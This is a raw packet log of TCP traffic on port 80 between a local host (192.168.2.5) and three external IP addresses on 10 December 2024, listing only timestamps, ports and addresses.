Dec 10, 2024 02:51:12.927822113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.928865910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.928911924 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.928947926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.928992033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.930063963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.930110931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.930229902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.930274963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.931232929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.931278944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.931354046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.931402922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.932429075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.932476044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.932537079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.932611942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.933639050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.933697939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.933737993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.933782101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.934833050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.934891939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.934915066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.934983969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.935990095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.936041117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.936093092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.936139107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.937184095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.937300920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.937344074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.938388109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.938433886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.938493013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.938538074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.939589024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.939634085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.939696074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.939733982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.940823078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.940934896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.940973043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.941972971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.942024946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.942063093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.942111969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.943160057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.943206072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.943270922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.943320990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.944355011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.944470882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.944516897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.945594072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.945641041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.945641041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.945678949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.946757078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.946805000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.946919918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.946964025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.948030949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.948076010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.948159933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.948254108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.949105978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.949155092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.949198008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.949243069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.950323105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.950368881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.950438976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.950484037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.951517105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.951561928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.951620102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.952141047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.952676058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.952724934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.952775002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.953879118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.953928947 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.953988075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.954036951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.955041885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.955091000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.955210924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.955261946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.956248999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.956295013 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.956376076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.956444979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.957463980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.957510948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.957570076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.957614899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.958621025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.958667040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.958714008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.958760023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.959817886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.959865093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.959906101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.959953070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.960994959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.961045027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.961102009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.961149931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.962194920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.962240934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.962322950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.962367058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.963413954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.963459969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.963552952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.963603020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.964749098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.964793921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.964838982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.964884043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.965769053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.965815067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.965873957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.965914011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.966975927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.967022896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.967082977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.967128038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.968151093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.968199968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.968272924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.968318939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.969353914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.969400883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.969459057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.969508886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.970545053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.970592976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.970630884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.970675945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.971724033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.971771002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.971796989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.971839905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.972858906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.972904921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.972974062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.973018885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.974035025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.974086046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.974185944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.974230051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.975217104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.975263119 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.975321054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.975367069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.976391077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.976439953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.106947899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.107072115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.107147932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.107215881 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.107381105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.107445955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.107615948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.108400106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.108450890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.108488083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.108535051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.109566927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.109613895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.109713078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.109754086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.110827923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.110877991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.110989094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.111035109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.111977100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.112025023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.112134933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.112178087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.113152981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.113200903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.113276005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.113322020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.114340067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.114391088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.114463091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.114507914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.115502119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.115547895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.115612030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.115652084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.116684914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.116734028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.116806030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.116852045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.117891073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.117935896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.118010044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.118058920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.119076014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.119122028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.119175911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.119219065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.120289087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.120393991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.120435953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.122009993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.122067928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.122119904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.122159958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.122634888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.122677088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.122735023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.122771978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.123816967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.123857975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.123935938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.123975039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.125020981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.125130892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.125168085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.126214027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.126254082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.126302958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.126342058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.127382040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.127420902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.127490997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.128129959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.128561020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.128601074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.128674030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.129765034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.129803896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.129865885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.129909039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.130954027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.130997896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.131100893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.131139994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.132138014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.132227898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.132265091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.133325100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.133373022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.133410931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.133450985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.134519100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.134573936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.134615898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.134654999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.135699987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.135742903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.135782003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.136132002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.136862993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.136910915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.136976957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.137020111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.138083935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.138132095 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.138168097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.138206005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.139252901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.139302015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.139354944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.139394045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:13.140404940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:13.144165993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:15.495551109 CET	49853	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:15.495860100 CET	49875	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:15.615099907 CET	80	49875	185.215.113.43	192.168.2.5
Dec 10, 2024 02:51:15.615166903 CET	80	49853	185.215.113.43	192.168.2.5
Dec 10, 2024 02:51:15.615178108 CET	49875	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:15.615211964 CET	49853	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:15.707355976 CET	49875	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:15.973846912 CET	80	49875	185.215.113.43	192.168.2.5
Dec 10, 2024 02:51:17.019505978 CET	80	49875	185.215.113.43	192.168.2.5
Dec 10, 2024 02:51:17.019594908 CET	49875	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:17.023401976 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:17.142682076 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:17.146311045 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:17.146473885 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:17.265666962 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.496745110 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.496835947 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.496881008 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.496937037 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.497236013 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.497277021 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.497426987 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.497437954 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.497468948 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.497483015 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.497693062 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.497731924 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.497823954 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.497834921 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.497867107 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.498066902 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.498080015 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.498106003 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.498131990 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.616333008 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.616389036 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.616406918 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.616449118 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.620524883 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.620573044 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.629837036 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.629884958 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.629904032 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.629944086 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.713440895 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.713511944 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.713588953 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.713627100 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.717622995 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.717672110 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.717726946 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.717763901 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.726133108 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.726186037 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.729192972 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.729243994 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.729268074 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.729305983 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.737642050 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.737689972 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.737693071 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.737720966 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.746108055 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.746167898 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.746200085 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.746234894 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.754561901 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.754631996 CET	49881	80	192.168.2.5	185.215.113.16
